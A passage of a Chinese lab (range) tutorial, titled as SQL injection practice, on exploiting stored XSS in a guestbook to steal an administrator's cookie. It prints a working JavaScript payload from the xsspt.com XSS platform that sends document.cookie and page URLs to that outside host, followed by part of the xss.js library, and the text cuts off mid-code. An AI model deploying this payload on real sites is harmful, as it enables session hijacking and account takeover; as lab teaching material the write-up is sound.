SQL注入篇:SQL 注入靶场练习【实例4】


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

SQL 注入靶场练习【实例4】

0x01 介绍

0x02 操作演示


 

             【实例4】靶场传送门:http://59.63.200.79:8004/Feedback.asp

               cookie伪造知识点

SQL 注入靶场练习【实例4】

0x01 介绍

      在之前的实例中,我们在后台中,已经能修改网站新闻了,不知你是窃窃自喜,还是不满足于此?当然,作为黑阔就是要更多!更大的权限!
      那么我们就把整个网站的shell拿到手,如何?想到那就开干,这时我们在浏览我们所在这个网站的功能时,发现一处可以留言的地方,貌似可利用性很高,因为留言板管理员是每天都会去查阅的,那么我们就尝试是否存在XSS注入,该XSS注入是什么类型的再针对性利用... ...

 

0x02 操作演示

1. 打开浏览器,在留言板处,所有能输入的地方,见框就插,输入 ,点击【提交留言】按钮

SQL注入篇:SQL 注入靶场练习【实例4】_第1张图片

点击【提交留言】,成功弹窗,然后我们每次刷新当前页面都会弹窗,那么可以非常肯定是存储型的,那么就开始盘它,动手ing

SQL注入篇:SQL 注入靶场练习【实例4】_第2张图片

SQL注入篇:SQL 注入靶场练习【实例4】_第3张图片

网上的xss平台,需要自己去注册和登录,反正账号密码知道就行了,邮箱反正不验证不建议写真实的。

注:其实这里我想用蓝莲花的XSS平台来做的,但不知道怎么回事,排查了很久,就是TM的不返回Cookie,淡疼的一批。反复弄了好久,明明前面是可以用的,就重新快照重装一次就有问题了。当然这里也可以Beef 来获取Cookie。最后我为了图方便,就直接用网上公用的XSS平台来做演示。大同小异的意思,大家可以自己尝试一下怎么获取cookie

传送门:http://xsspt.com

Beef 学习教程传送门:https://blog.csdn.net/god_xiangyu/article/category/9200944

我的项目一栏,点击【创建】

SQL注入篇:SQL 注入靶场练习【实例4】_第4张图片

取好项目名称和项目描述后,点击【下一步】SQL注入篇:SQL 注入靶场练习【实例4】_第5张图片

勾选【默认模块】和【xss.js】模块

SQL注入篇:SQL 注入靶场练习【实例4】_第6张图片

如下是我们刚刚创建项目的项目源代码

项目名称: cookie
项目代码:

(function(){(new Image()).src='https://xsspt.com/index.php?do=api&id=tQIGIx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='https://xsspt.com/index.php?do=keepsession&id=tQIGIx&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
;;var xss = function(){
  var x = {
   'name':'xss.js',
    'version':'0.1',
    'author':'jackmasa'
 };
  
  x.x=function(id){return document.getElementById(id)};
 
  //容错取值
  x.e=function(_){try{return eval('('+_+')')}catch(e){return''}};
 
  //浏览器 
  x.i={
   i:!!self.ActiveXObject,
   c:!!self.chrome,
    f:self.mozPaintCount>-1,
   o:!!self.opera,
   s:!self.chrome&&!!self.WebKitPoint
  };
  
  //UA
  x.ua = navigator.userAgent;
 
  //判断是否为苹果手持设备
 x.apple=x.ua.match(/ip(one|ad|od)/i)!=null;
 
  //随机数
 x.rdm=function(){return~~(Math.random()*100000)};

 //url编码(UTF8)
 x.ec=encodeURIComponent;

  x.html=document.getElementsByTagName('html')[0];
  
  /*
   * 销毁一个元素
  */
 x.kill=function(e){
   e.parentElement.removeChild(e);
 };

  /*
   *绑定事件
   */
 x.bind=function(e,name,fn){
   e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent("on"+name,fn);
 };
  
  /*
   * dom准备完毕时执行函数
  */
 x.ready=function(fn){
   if(!x.i.i){
     x.bind(document,'DOMContentLoaded',fn);
   }else{
      var s = setInterval(function(){
       try{
          document.body.doScroll('left');
         clearInterval(s);
         fn();
       }catch(e){}
     },4);
   }
 }

 /*
   * 同源检测
  */
 x.o=function(url){
    var link = x.dom('',2);
    return link.protocol+link.hostname+':'+link.port==location.protocol+location.hostname+':'+link.port;
  };
  
  /*
   * html to dom
   */
 x.dom=function(html,gcsec){
   var tmp = document.createElement('span');
   tmp.innerHTML=html;
   var e = tmp.children[0];
    e.style.display='none';
   x.html.appendChild(e);
    gcsec>>0>0&&setTimeout(function(){
     x.kill(e);
    },gcsec*1000);
    return e;
 };

  /*
   * ajax
  */
 x.ajax = function(url,params,callback){
   (params instanceof Function)&&(callback=params,params=void(0));
   var XHR = (!x.o(url)&&window.XDomainRequest)||
          window.XMLHttpRequest||
         (function(){return new ActiveXObject('MSXML2.XMLHTTP')});
   var xhr = new XHR();
    xhr.open(params?'post':'get',url);
    try{xhr.setRequestHeader('content-type','application/x-www-form-urlencoded')}catch(e){}
   callback&&(xhr.onreadystatechange = function() {
      (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304))&&callback.apply(this,arguments);
   });
   xhr.send(params);
 };

  /*
   * no ajax
   */
 x.najax=function(url,params){
   if(params){
     var form = x.dom('
'); form.action=url; for(var name in params){ var input = document.createElement('input'); input.name=name; input.value=params[name]; form.appendChild(input); } var iframe = x.dom('